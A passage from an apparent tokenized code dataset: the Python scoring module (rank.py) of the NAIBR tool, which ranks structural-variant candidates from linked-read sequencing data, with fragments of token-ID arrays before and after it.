12332,
29915,
2165,
19602,
13,
1678,
376,
29968,
397,
9275,
23398,
269,
1537,
29890,
5295,
29926,
29892,
330,
4518,
5366,
29893,
7994,
748,
529,
5813,
15513,
613,
13,
1678,
376,
29956,
3616,
952,
1270,
14757,
19855,
20077,
529,
5813,
29958,
1055,
13327,
29915,
29884,
29892,
25777,
527,
3701,
304,
2532,
15330,
29892,
25777,
4930,
19602,
13,
1678,
376,
29940,
347,
27941,
16137,
6192,
839,
2526,
30063,
529,
5813,
29958,
1055,
20147,
911,
29892,
12509,
646,
29874,
30042,
304,
373,
6192,
839,
2526,
315,
10789,
347,
19602,
13,
1678,
376,
29968,
2235,
9183,
529,
5813,
29958,
611,
28918,
2901,
29871,
29941,
413,
10653,
275,
911,
29901,
29871,
29900,
29892,
29871,
29896,
474,
405,
9468,
19602,
13,
1678,
9872,
5813,
29958,
318,
7558,
2766,
28918,
2901,
12162,
819,
5909,
5534,
5909,
29889,
19166,
611,
16588,
437,
18293,
719,
1512,
19602,
13,
1678,
9872,
5813,
29958,
8006,
4022,
326,
2037,
7231,
274,
21816,
724,
556,
7331,
29892,
318,
30042,
5693,
20904,
28918,
2901,
3756,
10313,
7571,
29915,
29874,
29889,
27020,
281,
455,
19151,
3701,
5671,
29893,
8044,
474,
6771,
10589,
1384,
2532,
28092,
30025,
13380,
19602,
13,
1678,
9872,
5813,
29958,
20066,
911,
11151,
1129,
30045,
1127,
17592,
281,
413,
397,
3914,
9016,
2753,
962,
29889,
10173,
331,
20066,
911,
413,
397,
29871,
30109,
20719,
30006,
8268,
29892,
5950,
27530,
29357,
13502,
297,
5909,
1824,
391,
2165,
19602,
13,
1678,
9872,
5813,
29958,
8006,
5629,
267,
348,
30025,
30006,
2586,
1850,
286,
542,
1217,
29892,
13527,
281,
2904,
22881,
7231,
281,
7622,
962,
4677,
649,
261,
911,
19602,
13,
1678,
376,
29967,
557,
7782,
29891,
2766,
3701,
9238,
431,
25295,
6890,
529,
5813,
29958,
29973,
24133,
384,
449,
29889,
1315,
19602,
13,
29962,
13,
13,
29926,
23195,
29918,
572,
353,
426,
13,
1678,
525,
17821,
1705,
2396,
21104,
29892,
13,
1678,
525,
305,
2707,
2396,
521,
2707,
29892,
13,
1678,
525,
497,
2396,
21104,
718,
521,
2707,
29892,
13,
29913,
13,
2
] |
src/rank.py | pontushojer/NAIBR | 10 | 192883 | <filename>src/rank.py<gh_stars>1-10
from __future__ import print_function,division
import os,sys,subprocess,pysam,collections,time,gc,math,json,copy
import scipy.stats,operator,itertools
import multiprocessing as mp
from utils import *
import numpy as np
from global_vars import *
import linecache
class CandSplitMol:
__slots__ = ['scoreHA','scoreH0','hap_i','hap_j','discs']
def __init__(self):
self.scoreHA = 0
self.scoreH0 = 0
self.hap_i = 0
self.hap_j = 0
self.discs = 0
def score_CSM(self,CSM,candScore):
LRs_i,D,LRs_j = CSM
#chrm,start,end,num,hap,barcode
chrm_i,si,ei,mapq_i,hap_i,barcode_i = LRs_i
chrm_j,sj,ej,mapq_j,hap_j,barcode_j = LRs_j
num_i,num_j = len(mapq_i),len(mapq_j)
hap_i = max(hap_i)
hap_j = max(hap_j)
len0 = ej-si
rate0 = (num_j+num_i)/float(len0)
lenA = (ei-si)+(ej-sj)
rateA = (num_j+num_i)/float(lenA)
lenLi = ei-si
rateLi0 = (num_i)/float(lenLi)
rateLiA = (num_i)/float(lenLi)
lenLj = ej-sj
rateLj0 = (num_j)/float(lenLj)
rateLjA = (num_j)/float(lenLj)
mapqiA = self.map_prob(mapq_i)
mapqi0 = self.map_prob(mapq_i)
mapqjA = self.map_prob(mapq_j)
mapqj0 = self.map_prob(mapq_j)
mapqdiscA = self.map_prob(D)
mapqdisc0 = self.mismap_prob(D)
scoreHA = log(plen(lenA)*prate(rateA)*mapqiA*mapqjA*mapqdiscA+\
plen(lenLi)*prate(rateLiA)*plen(lenLj)*prate(rateLjA)*mapqiA*mapqjA*mapqdiscA)
if chrm_i == chrm_j:
scoreH0 = log(plen(len0)*prate(rate0)*mapqi0*mapqj0*mapqdisc0+\
plen(lenLi)*prate(rateLi0)*plen(lenLj)*prate(rateLj0)*mapqi0*mapqj0*mapqdisc0)
else:
scoreH0 = log(0+plen(lenLi)*prate(rateLi0)*plen(lenLj)*prate(rateLj0)*mapqi0*mapqj0*mapqdisc0)
self.scoreHA = scoreHA
self.scoreH0 = scoreH0
self.hap_i = hap_i
self.hap_j = hap_j
self.discs = len(D)
candScore.score[(hap_i,hap_j)] += self.scoreHA-self.scoreH0
candScore.pairs[(hap_i,hap_j)] += 1
candScore.disc[(hap_i,hap_j)] += self.discs
def map_prob(self,mapqs):
prob = 1
for mapq in mapqs:
prob *= 1-math.pow(10,(mapq/-10.0))
return prob
def mismap_prob(self,mapqs):
prob = 1
for mapq in mapqs:
prob *= math.pow(10,(mapq/-10.0))
return prob
def score_pair(i):
key,CSMs,spans = get_CSMs(i)
candidate = candidates[i]
#CSMs,spans = CSMs_by_cand[(candidate.i,candidate.j,candidate.orient)]
candScore = NA(candidate.chrm,candidate.nextchrm,candidate.i,candidate.j,candidate.orient)
scoreHA = 0
scoreH0 = 0
scores = []
for CSM in CSMs:
c = CandSplitMol()
c.score_CSM(CSM,candScore)
for hap in spans:
candScore.spans[hap] += 1
return candScore,candidate
def near_i(x,candidate):
chrm = x[0]
start = x[1]
end = x[2]
neari = ((candidate.orient[0] == '+' and end-lmax < candidate.i and end+d > candidate.i)\
or (candidate.orient[0] == '-' and start+lmax > candidate.i and start-d < candidate.i)) and\
candidate.chrm == chrm
return neari
def near_j(x,candidate):
chrm = x[0]
start = x[1]
end = x[2]
nearj = ((candidate.orient[1] == '+' and end-lmax < candidate.j and end+d > candidate.j)\
or (candidate.orient[1] == '-' and start+lmax > candidate.j and start-d < candidate.j)) and\
candidate.nextchrm == chrm
return nearj
def spanning(x,candidate):
start = x[1]
end = x[2]
span = start < candidate.i and end > candidate.j
return span
def discs(candidate,barcode):
ds = discs_by_barcode[(candidate.chrm,candidate.nextchrm,barcode)]
ds = [int((read.mapq+read.nextmapq)/2) for read in ds if \
candidate.chrm == read.chrm and candidate.nextchrm == read.nextchrm\
and is_close(candidate.i,read.i,read.orient[0]) and \
is_close(candidate.j,read.j,read.orient[1]) and candidate.orient == read.orient]
return ds
def crossing(start,end,i):
return start < i and end > i
def linked_reads(barcode,chrm,candidate):
span = []
reads = reads_by_LR[(chrm,barcode)]
reads.sort(key = lambda x: x[0])
#chrm,start,end,num,hap,barcode
curr_LR = [0,0,0,[],[],0]
LRs = []
for start,end,hap,mapq in reads:
if curr_LR[0] == 0 or start-curr_LR[2] > d:
if curr_LR[0] != 0 and len(curr_LR[3]) >= min_reads and curr_LR[2]-curr_LR[1] >= min_len:
LRs.append(curr_LR)
curr_LR = [chrm,start,end,[mapq],[hap],barcode]
elif candidate.chrm == candidate.nextchrm and curr_LR[0] != 0 and \
(curr_LR[2] < candidate.i and start > candidate.j):
LRs.append(curr_LR)
curr_LR = [chrm,start,end,[mapq],[hap],barcode]
else:
curr_LR[2] = max(curr_LR[2],end)
curr_LR[3].append(mapq)
curr_LR[4].append(hap)
if curr_LR[0] != 0 and len(curr_LR[3]) >= min_reads and curr_LR[2]-curr_LR[1] >= min_len:
LRs.append(curr_LR)
for i in range(1,len(LRs)):
if LRs[i][1]-LRs[i-1][2] < d:
span.append((max(LRs[i-1][-2]),max(LRs[i][-2])))
return LRs,span
def get_LRs(candidate,barcodes):
CSMs = []
spans = []
for barcode in barcodes:
span = []
LRs,s = linked_reads(barcode,candidate.chrm,candidate)
span += s
if candidate.chrm != candidate.nextchrm:
LRs2,s = linked_reads(barcode,candidate.nextchrm,candidate)
LRs += LRs2
LRs_i,LRs_j = [[],[]]
for x in LRs:
if near_i(x,candidate):
LRs_i = x
elif near_j(x,candidate):
LRs_j = x
if spanning(x,candidate):
span += [(x[-2][0],x[-2][-1])]
if LRs_i and LRs_j and LRs_i[1] < LRs_j[1]:
D = discs(candidate,barcode)
CSM = [LRs_i,D,LRs_j]
CSMs.append(CSM)
spans += span
return CSMs,spans
def get_CSMs(i):
candidate = candidates[i]
break1_barcodes = set(LRs_by_pos[(candidate.chrm,int(candidate.i/R)*R)]+\
LRs_by_pos[(candidate.chrm,int(candidate.i/R)*R-R)]+LRs_by_pos[(candidate.chrm,int(candidate.i/R)*R+R)])
break2_barcodes = set(list(LRs_by_pos[(candidate.nextchrm,int(candidate.j/R)*R)])+\
LRs_by_pos[(candidate.nextchrm,int(candidate.j/R)*R-R)]+LRs_by_pos[(candidate.nextchrm,int(candidate.j/R)*R+R)])
CSMs,spans = get_LRs(candidate,break1_barcodes.intersection(break2_barcodes))
key = (candidate.i,candidate.j,candidate.orient)
return key,CSMs,spans
def parse_CSMs(all_CSMs):
global CSMs_by_cand
for key,CSMs,spans in all_CSMs:
CSMs_by_cand[key] = [CSMs,spans]
def get_all_CSMs():
global CSMs_by_cand
CSMs_by_cand = dict()
if not is_interchrom or NUM_THREADS == 1:
all_CSMs = []
for i in range(len(candidates)):
key,CSMs,spans = get_CSMs(i)
CSMs_by_cand[key] = [CSMs,spans]
elif is_interchrom and NUM_THREADS != 1:
pool = mp.Pool(min(5,NUM_THREADS),maxtasksperchild=1)
map_fn = pool.map
all_CSMs = map_fn(get_CSMs,range(len(candidates)))
parse_CSMs(all_CSMs)
pool.close()
pool.join()
def get_cand_score(cands):
global candidates
candidates = cands
if not is_interchrom or NUM_THREADS == 1:
map_fn = map
elif is_interchrom and NUM_THREADS != 1:
pool = mp.Pool(min(5,NUM_THREADS),maxtasksperchild=1)
map_fn = pool.map
scores = map_fn(score_pair,range(len(candidates)))
if is_interchrom and NUM_THREADS != 1:
pool.close()
pool.join()
rets = []
for best,candidate in scores:
best.get_score()
if best.pairs > 0 and best.score > -float('inf'):
ret = [best.chrm1,best.break1,best.chrm2,best.break2]+['split_mols:'+str(best.pairs)]+['discordants:'+str(best.disc)]+\
['orient:'+candidate.orient,'haps:'+str(best.haps[0])+','+str(best.haps[1]),'score:'+str(best.score)]
rets.append(ret)
return rets
def predict_NAs(reads_by_lr,lrs_by_pos,Discs_by_barcode,candidates,p_len,p_rate,cov,interchrom):
global lmax,plen,prate,discs_by_barcode,LRs_by_pos,chrom_idx,is_interchrom
global LRs_by_pos,reads_by_LR,discs_by_barcode
LRs_by_pos,reads_by_LR,discs_by_barcode = lrs_by_pos,reads_by_lr,Discs_by_barcode
is_interchrom = interchrom
plen = p_len
prate = p_rate
scores = []
scores += get_cand_score(candidates)
scores = [x for x in scores if x]
scores = collapse(scores,threshold(cov))
return scores
| [
1,
529,
9507,
29958,
4351,
29914,
10003,
29889,
2272,
29966,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
3166,
4770,
29888,
9130,
1649,
1053,
1596,
29918,
2220,
29892,
4563,
2459,
13,
5215,
2897,
29892,
9675,
29892,
1491,
5014,
29892,
29886,
952,
314,
29892,
29027,
29892,
2230,
29892,
27354,
29892,
755,
29892,
3126,
29892,
8552,
13,
5215,
4560,
2272,
29889,
16202,
29892,
6891,
29892,
1524,
8504,
13,
5215,
6674,
307,
985,
292,
408,
22326,
13,
3166,
3667,
29879,
1053,
334,
13,
5215,
12655,
408,
7442,
13,
3166,
5534,
29918,
16908,
1053,
334,
13,
5215,
1196,
8173,
13,
13,
13,
13,
13,
13,
13,
1990,
28433,
18772,
29924,
324,
29901,
13,
12,
1649,
2536,
1862,
1649,
353,
6024,
13628,
15715,
3788,
13628,
29950,
29900,
3788,
29882,
481,
29918,
29875,
3788,
29882,
481,
29918,
29926,
3788,
2218,
2395,
2033,
13,
12,
1753,
4770,
2344,
12035,
1311,
1125,
13,
12,
12,
1311,
29889,
13628,
15715,
353,
29871,
29900,
13,
12,
12,
1311,
29889,
13628,
29950,
29900,
353,
29871,
29900,
13,
12,
12,
1311,
29889,
29882,
481,
29918,
29875,
353,
29871,
29900,
13,
12,
12,
1311,
29889,
29882,
481,
29918,
29926,
353,
29871,
29900,
13,
12,
12,
1311,
29889,
2218,
2395,
353,
29871,
29900,
13,
13,
12,
1753,
8158,
29918,
9295,
29924,
29898,
1311,
29892,
9295,
29924,
29892,
29883,
392,
20097,
1125,
13,
12,
12,
29519,
29879,
29918,
29875,
29892,
29928,
29892,
29519,
29879,
29918,
29926,
353,
315,
17061,
13,
12,
12,
29937,
305,
1758,
29892,
2962,
29892,
355,
29892,
1949,
29892,
29882,
481,
29892,
1646,
401,
13,
12,
12,
305,
1758,
29918,
29875,
29892,
1039,
29892,
10096,
29892,
1958,
29939,
29918,
29875,
29892,
29882,
481,
29918,
29875,
29892,
1646,
401,
29918,
29875,
353,
365,
29934,
29879,
29918,
29875,
13,
12,
12,
305,
1758,
29918,
29926,
29892,
29879,
29926,
29892,
10337,
29892,
1958,
29939,
29918,
29926,
29892,
29882,
481,
29918,
29926,
29892,
1646,
401,
29918,
29926,
353,
365,
29934,
29879,
29918,
29926,
13,
12,
12,
1949,
29918,
29875,
29892,
1949,
29918,
29926,
353,
7431,
29898,
1958,
29939,
29918,
29875,
511,
2435,
29898,
1958,
29939,
29918,
29926,
29897,
13,
12,
12,
29882,
481,
29918,
29875,
353,
4236,
29898,
29882,
481,
29918,
29875,
29897,
13,
12,
12,
29882,
481,
29918,
29926,
353,
4236,
29898,
29882,
481,
29918,
29926,
29897,
13,
12,
12,
2435,
29900,
353,
8574,
29899,
1039,
13,
12,
12,
10492,
29900,
353,
313,
1949,
29918,
29926,
29974,
1949,
29918,
29875,
6802,
7411,
29898,
2435,
29900,
29897,
13,
12,
12,
2435,
29909,
353,
313,
10096,
29899,
1039,
7240,
29898,
10337,
29899,
29879,
29926,
29897,
13,
12,
12,
10492,
29909,
353,
313,
1949,
29918,
29926,
29974,
1949,
29918,
29875,
6802,
7411,
29898,
2435,
29909,
29897,
13,
12,
12,
2435,
23410,
353,
321,
29875,
29899,
1039,
13,
12,
12,
10492,
23410,
29900,
353,
313,
1949,
29918,
29875,
6802,
7411,
29898,
2435,
23410,
29897,
13,
12,
12,
10492,
23410,
29909,
353,
313,
1949,
29918,
29875,
6802,
7411,
29898,
2435,
23410,
29897,
13,
12,
12,
2435,
29931,
29926,
353,
8574,
29899,
29879,
29926,
13,
12,
12,
10492,
29931,
29926,
29900,
353,
313,
1949,
29918,
29926,
6802,
7411,
29898,
2435,
29931,
29926,
29897,
13,
12,
12,
10492,
29931,
29926,
29909,
353,
313,
1949,
29918,
29926,
6802,
7411,
29898,
2435,
29931,
29926,
29897,
13,
12,
12,
1958,
26461,
29909,
353,
1583,
29889,
1958,
29918,
22795,
29898,
1958,
29939,
29918,
29875,
29897,
13,
12,
12,
1958,
26461,
29900,
353,
1583,
29889,
1958,
29918,
22795,
29898,
1958,
29939,
29918,
29875,
29897,
13,
12,
12,
1958,
29939,
29926,
29909,
353,
1583,
29889,
1958,
29918,
22795,
29898,
1958,
29939,
29918,
29926,
29897,
13,
12,
12,
1958,
29939,
29926,
29900,
353,
1583,
29889,
1958,
29918,
22795,
29898,
1958,
29939,
29918,
29926,
29897,
13,
12,
12,
1958,
29939,
2218,
29883,
29909,
353,
1583,
29889,
1958,
29918,
22795,
29898,
29928,
29897,
13,
12,
12,
1958,
29939,
2218,
29883,
29900,
353,
1583,
29889,
29885,
1608,
481,
29918,
22795,
29898,
29928,
29897,
13,
12,
12,
13628,
15715,
353,
1480,
29898,
572,
264,
29898,
2435,
29909,
11877,
558,
403,
29898,
10492,
29909,
11877,
1958,
26461,
29909,
29930,
1958,
29939,
29926,
29909,
29930,
1958,
29939,
2218,
29883,
29909,
3124,
13,
12,
12,
12,
572,
264,
29898,
2435,
23410,
11877,
558,
403,
29898,
10492,
23410,
29909,
11877,
572,
264,
29898,
2435,
29931,
29926,
11877,
558,
403,
29898,
10492,
29931,
29926,
29909,
11877,
1958,
26461,
29909,
29930,
1958,
29939,
29926,
29909,
29930,
1958,
29939,
2218,
29883,
29909,
29897,
13,
12,
12,
361,
521,
1758,
29918,
29875,
1275,
521,
1758,
29918,
29926,
29901,
13,
12,
12,
12,
13628,
29950,
29900,
353,
1480,
29898,
572,
264,
29898,
2435,
29900,
11877,
558,
403,
29898,
10492,
29900,
11877,
1958,
26461,
29900,
29930,
1958,
29939,
29926,
29900,
29930,
1958,
29939,
2218,
29883,
29900,
3124,
13,
12,
12,
12,
12,
572,
264,
29898,
2435,
23410,
11877,
558,
403,
29898,
10492,
23410,
29900,
11877,
572,
264,
29898,
2435,
29931,
29926,
11877,
558,
403,
29898,
10492,
29931,
29926,
29900,
11877,
1958,
26461,
29900,
29930,
1958,
29939,
29926,
29900,
29930,
1958,
29939,
2218,
29883,
29900,
29897,
13,
12,
12,
2870,
29901,
13,
12,
12,
12,
13628,
29950,
29900,
353,
1480,
29898,
29900,
29974,
572,
264,
29898,
2435,
23410,
11877,
558,
403,
29898,
10492,
23410,
29900,
11877,
572,
264,
29898,
2435,
29931,
29926,
11877,
558,
403,
29898,
10492,
29931,
29926,
29900,
11877,
1958,
26461,
29900,
29930,
1958,
29939,
29926,
29900,
29930,
1958,
29939,
2218,
29883,
29900,
29897,
13,
12,
12,
1311,
29889,
13628,
15715,
353,
8158,
15715,
13,
12,
12,
1311,
29889,
13628,
29950,
29900,
353,
8158,
29950,
29900,
13,
12,
12,
1311,
29889,
29882,
481,
29918,
29875,
353,
447,
29886,
29918,
29875,
13,
12,
12,
1311,
29889,
29882,
481,
29918,
29926,
353,
447,
29886,
29918,
29926,
13,
12,
12,
1311,
29889,
2218,
2395,
353,
7431,
29898,
29928,
29897,
13,
12,
12,
29883,
392,
20097,
29889,
13628,
15625,
29882,
481,
29918,
29875,
29892,
29882,
481,
29918,
29926,
4638,
4619,
1583,
29889,
13628,
15715,
29899,
1311,
29889,
13628,
29950,
29900,
13,
12,
12,
29883,
392,
20097,
29889,
29886,
7121,
15625,
29882,
481,
29918,
29875,
29892,
29882,
481,
29918,
29926,
4638,
4619,
29871,
29896,
13,
12,
12,
29883,
392,
20097,
29889,
2218,
29883,
15625,
29882,
481,
29918,
29875,
29892,
29882,
481,
29918,
29926,
4638,
4619,
1583,
29889,
2218,
2395,
13,
13,
12,
1753,
2910,
29918,
22795,
29898,
1311,
29892,
1958,
29939,
29879,
1125,
13,
12,
12,
22795,
353,
29871,
29896,
13,
12,
12,
1454,
2910,
29939,
297,
2910,
29939,
29879,
29901,
13,
12,
12,
12,
22795,
334,
29922,
29871,
29896,
29899,
755,
29889,
12248,
29898,
29896,
29900,
22657,
1958,
29939,
24028,
29896,
29900,
29889,
29900,
876,
13,
12,
12,
2457,
2070,
13,
13,
12,
1753,
21436,
481,
29918,
22795,
29898,
1311,
29892,
1958,
29939,
29879,
1125,
13,
12,
12,
22795,
353,
29871,
29896,
13,
12,
12,
1454,
2910,
29939,
297,
2910,
29939,
29879,
29901,
13,
12,
12,
12,
22795,
334,
29922,
5844,
29889,
12248,
29898,
29896,
29900,
22657,
1958,
29939,
24028,
29896,
29900,
29889,
29900,
876,
13,
12,
12,
2457,
2070,
13,
13,
1753,
8158,
29918,
18784,
29898,
29875,
1125,
13,
12,
1989,
29892,
9295,
29924,
29879,
29892,
1028,
550,
353,
679,
29918,
9295,
29924,
29879,
29898,
29875,
29897,
13,
12,
29883,
5380,
403,
353,
21669,
29961,
29875,
29962,
13,
12,
29937,
9295,
29924,
29879,
29892,
1028,
550,
353,
315,
17061,
29879,
29918,
1609,
29918,
29883,
392,
15625,
29883,
5380,
403,
29889,
29875,
29892,
29883,
5380,
403,
29889,
29926,
29892,
29883,
5380,
403,
29889,
12236,
4638,
13,
12,
29883,
392,
20097,
353,
8598,
29898,
29883,
5380,
403,
29889,
305,
1758,
29892,
29883,
5380,
403,
29889,
4622,
305,
1758,
29892,
29883,
5380,
403,
29889,
29875,
29892,
29883,
5380,
403,
29889,
29926,
29892,
29883,
5380,
403,
29889,
12236,
29897,
13,
12,
13628,
15715,
353,
29871,
29900,
13,
12,
13628,
29950,
29900,
353,
29871,
29900,
13,
12,
1557,
2361,
353,
5159,
13,
12,
1454,
315,
17061,
297,
315,
17061,
29879,
29901,
13,
12,
12,
29883,
353,
28433,
18772,
29924,
324,
580,
13,
12,
12,
29883,
29889,
13628,
29918,
9295,
29924,
29898,
9295,
29924,
29892,
29883,
392,
20097,
29897,
13,
12,
1454,
447,
29886,
297,
805,
550,
29901,
13,
12,
12,
29883,
392,
20097,
29889,
1028,
550,
29961,
29882,
481,
29962,
4619,
29871,
29896,
13,
12,
2457,
23794,
20097,
29892,
29883,
5380,
403,
13,
13,
13,
1753,
2978,
29918,
29875,
29898,
29916,
29892,
29883,
5380,
403,
1125,
13,
12,
305,
1758,
353,
921,
29961,
29900,
29962,
13,
12,
2962,
353,
921,
29961,
29896,
29962,
13,
12,
355,
353,
921,
29961,
29906,
29962,
13,
12,
484,
1306,
353,
5135,
29883,
5380,
403,
29889,
12236,
29961,
29900,
29962,
1275,
525,
23097,
322,
1095,
29899,
29880,
3317,
529,
14020,
29889,
29875,
322,
1095,
29974,
29881,
1405,
14020,
29889,
29875,
2144,
13,
12,
268,
470,
313,
29883,
5380,
403,
29889,
12236,
29961,
29900,
29962,
1275,
17411,
29915,
322,
1369,
29974,
29880,
3317,
1405,
14020,
29889,
29875,
322,
1369,
29899,
29881,
529,
14020,
29889,
29875,
876,
322,
29905,
13,
12,
29871,
12,
268,
14020,
29889,
305,
1758,
1275,
521,
1758,
29871,
13,
12,
2457,
452,
1306,
13,
13,
1753,
2978,
29918,
29926,
29898,
29916,
29892,
29883,
5380,
403,
1125,
13,
12,
305,
1758,
353,
921,
29961,
29900,
29962,
13,
12,
2962,
353,
921,
29961,
29896,
29962,
13,
12,
355,
353,
921,
29961,
29906,
29962,
13,
12,
28502,
29926,
353,
5135,
29883,
5380,
403,
29889,
12236,
29961,
29896,
29962,
1275,
525,
23097,
322,
1095,
29899,
29880,
3317,
529,
14020,
29889,
29926,
322,
1095,
29974,
29881,
1405,
14020,
29889,
29926,
2144,
13,
12,
268,
470,
313,
29883,
5380,
403,
29889,
12236,
29961,
29896,
29962,
1275,
17411,
29915,
322,
1369,
29974,
29880,
3317,
1405,
14020,
29889,
29926,
322,
1369,
29899,
29881,
529,
14020,
29889,
29926,
876,
322,
29905,
13,
12,
29871,
12,
268,
14020,
29889,
4622,
305,
1758,
1275,
521,
1758,
29871,
13,
12,
2457,
2978,
29926,
13,
13,
1753,
805,
9450,
29898,
29916,
29892,
29883,
5380,
403,
1125,
13,
12,
2962,
353,
921,
29961,
29896,
29962,
13,
12,
355,
353,
921,
29961,
29906,
29962,
13,
12,
9653,
353,
1369,
529,
14020,
29889,
29875,
322,
1095,
1405,
14020,
29889,
29926,
12,
29871,
13,
12,
2457,
10638,
13,
13,
1753,
2313,
29879,
29898,
29883,
5380,
403,
29892,
1646,
401,
1125,
13,
12,
6289,
353,
2313,
29879,
29918,
1609,
29918,
1646,
401,
15625,
29883,
5380,
403,
29889,
305,
1758,
29892,
29883,
5380,
403,
29889,
4622,
305,
1758,
29892,
1646,
401,
4638,
13,
12,
6289,
353,
518,
524,
3552,
949,
29889,
1958,
29939,
29974,
949,
29889,
4622,
1958,
29939,
6802,
29906,
29897,
363,
1303,
297,
18031,
565,
320,
13,
12,
29883,
5380,
403,
29889,
305,
1758,
1275,
1303,
29889,
305,
1758,
322,
14020,
29889,
4622,
305,
1758,
1275,
1303,
29889,
4622,
305,
1758,
29905,
13,
12,
392,
338,
29918,
5358,
29898,
29883,
5380,
403,
29889,
29875,
29892,
949,
29889,
29875,
29892,
949,
29889,
12236,
29961,
29900,
2314,
322,
320,
13,
12,
1678,
338,
29918,
5358,
29898,
29883,
5380,
403,
29889,
29926,
29892,
949,
29889,
29926,
29892,
949,
29889,
12236,
29961,
29896,
2314,
322,
14020,
29889,
12236,
1275,
1303,
29889,
12236,
29962,
13,
12,
2457,
18031,
13,
13,
1753,
24067,
29898,
2962,
29892,
355,
29892,
29875,
1125,
13,
12,
2457,
1369,
529,
474,
322,
1095,
1405,
474,
13,
12,
13,
1753,
9024,
29918,
949,
29879,
29898,
1646,
401,
29892,
305,
1758,
29892,
29883,
5380,
403,
1125,
13,
12,
9653,
353,
5159,
13,
12,
949,
29879,
353,
13623,
29918,
1609,
29918,
29519,
15625,
305,
1758,
29892,
1646,
401,
4638,
13,
12,
949,
29879,
29889,
6605,
29898,
1989,
353,
14013,
921,
29901,
921,
29961,
29900,
2314,
13,
12,
29937,
305,
1758,
29892,
2962,
29892,
355,
29892,
1949,
29892,
29882,
481,
29892,
1646,
401,
13,
12,
21962,
29918,
29519,
353,
518,
29900,
29892,
29900,
29892,
29900,
17094,
16272,
1402,
29900,
29962,
13,
12,
29519,
29879,
353,
5159,
13,
12,
1454,
1369,
29892,
355,
29892,
29882,
481,
29892,
1958,
29939,
297,
13623,
29901,
13,
12,
12,
361,
16256,
29918,
29519,
29961,
29900,
29962,
1275,
29871,
29900,
470,
1369,
29899,
21962,
29918,
29519,
29961,
29906,
29962,
1405,
270,
29901,
13,
12,
12,
12,
361,
16256,
29918,
29519,
29961,
29900,
29962,
2804,
29871,
29900,
322,
7431,
29898,
21962,
29918,
29519,
29961,
29941,
2314,
6736,
1375,
29918,
949,
29879,
322,
16256,
29918,
29519,
29961,
29906,
29962,
29899,
21962,
29918,
29519,
29961,
29896,
29962,
6736,
1375,
29918,
2435,
29901,
13,
12,
12,
12,
12,
29519,
29879,
29889,
4397,
29898,
21962,
29918,
29519,
29897,
13,
12,
12,
12,
21962,
29918,
29519,
353,
518,
305,
1758,
29892,
2962,
29892,
355,
17094,
1958,
29939,
16272,
29882,
481,
1402,
1646,
401,
29962,
13,
12,
12,
23681,
14020,
29889,
305,
1758,
1275,
14020,
29889,
4622,
305,
1758,
322,
16256,
29918,
29519,
29961,
29900,
29962,
2804,
29871,
29900,
322,
320,
13,
12,
12,
29898,
21962,
29918,
29519,
29961,
29906,
29962,
529,
14020,
29889,
29875,
322,
1369,
1405,
14020,
29889,
29926,
1125,
13,
12,
12,
12,
29519,
29879,
29889,
4397,
29898,
21962,
29918,
29519,
29897,
13,
12,
12,
12,
21962,
29918,
29519,
353,
518,
305,
1758,
29892,
2962,
29892,
355,
17094,
1958,
29939,
16272,
29882,
481,
1402,
1646,
401,
29962,
13,
12,
12,
2870,
29901,
13,
12,
12,
12,
21962,
29918,
29519,
29961,
29906,
29962,
353,
4236,
29898,
21962,
29918,
29519,
29961,
29906,
1402,
355,
29897,
13,
12,
12,
12,
21962,
29918,
29519,
29961,
29941,
1822,
4397,
29898,
1958,
29939,
29897,
13,
12,
12,
12,
21962,
29918,
29519,
29961,
29946,
1822,
4397,
29898,
29882,
481,
29897,
13,
12,
361,
16256,
29918,
29519,
29961,
29900,
29962,
2804,
29871,
29900,
322,
7431,
29898,
21962,
29918,
29519,
29961,
29941,
2314,
6736,
1375,
29918,
949,
29879,
322,
16256,
29918,
29519,
29961,
29906,
29962,
29899,
21962,
29918,
29519,
29961,
29896,
29962,
6736,
1375,
29918,
2435,
29901,
13,
12,
12,
29519,
29879,
29889,
4397,
29898,
21962,
29918,
29519,
29897,
13,
12,
1454,
474,
297,
3464,
29898,
29896,
29892,
2435,
29898,
29519,
29879,
22164,
13,
12,
12,
361,
365,
29934,
29879,
29961,
29875,
3816,
29896,
29962,
29899,
29519,
29879,
29961,
29875,
29899,
29896,
3816,
29906,
29962,
529,
270,
29901,
13,
12,
12,
12,
9653,
29889,
4397,
3552,
3317,
29898,
29519,
29879,
29961,
29875,
29899,
29896,
3816,
29899,
29906,
11724,
3317,
29898,
29519,
29879,
29961,
29875,
3816,
29899,
29906,
29962,
4961,
13,
12,
2457,
365,
29934,
29879,
29892,
9653,
13,
13,
1753,
679,
29918,
29519,
29879,
29898,
29883,
5380,
403,
29892,
1646,
18137,
1125,
13,
12,
9295,
29924,
29879,
353,
5159,
13,
12,
1028,
550,
353,
5159,
13,
12,
1454,
2594,
401,
297,
2594,
18137,
29901,
13,
12,
12,
9653,
353,
5159,
13,
12,
12,
29519,
29879,
29892,
29879,
353,
9024,
29918,
949,
29879,
29898,
1646,
401,
29892,
29883,
5380,
403,
29889,
305,
1758,
29892,
29883,
5380,
403,
29897,
13,
12,
12,
9653,
4619,
269,
13,
12,
12,
361,
14020,
29889,
305,
1758,
2804,
14020,
29889,
4622,
305,
1758,
29901,
13,
12,
12,
12,
29519,
29879,
29906,
29892,
29879,
353,
9024,
29918,
949,
29879,
29898,
1646,
401,
29892,
29883,
5380,
403,
29889,
4622,
305,
1758,
29892,
29883,
5380,
403,
29897,
13,
12,
12,
12,
29519,
29879,
4619,
365,
29934,
29879,
29906,
13,
12,
12,
29519,
29879,
29918,
29875,
29892,
29519,
29879,
29918,
29926,
353,
5519,
1402,
2636,
29962,
13,
12,
12,
1454,
921,
297,
365,
29934,
29879,
29901,
13,
12,
12,
12,
361,
2978,
29918,
29875,
29898,
29916,
29892,
29883,
5380,
403,
1125,
13,
12,
12,
12,
12,
29519,
29879,
29918,
29875,
353,
921,
13,
12,
12,
12,
23681,
2978,
29918,
29926,
29898,
29916,
29892,
29883,
5380,
403,
1125,
13,
12,
12,
12,
12,
29519,
29879,
29918,
29926,
353,
921,
13,
12,
12,
12,
361,
805,
9450,
29898,
29916,
29892,
29883,
5380,
403,
1125,
13,
12,
12,
12,
12,
9653,
4619,
17288,
29916,
14352,
29906,
3816,
29900,
1402,
29916,
14352,
29906,
3816,
29899,
29896,
2314,
29962,
13,
13,
12,
12,
361,
365,
29934,
29879,
29918,
29875,
322,
365,
29934,
29879,
29918,
29926,
322,
365,
29934,
29879,
29918,
29875,
29961,
29896,
29962,
529,
365,
29934,
29879,
29918,
29926,
29961,
29896,
5387,
13,
12,
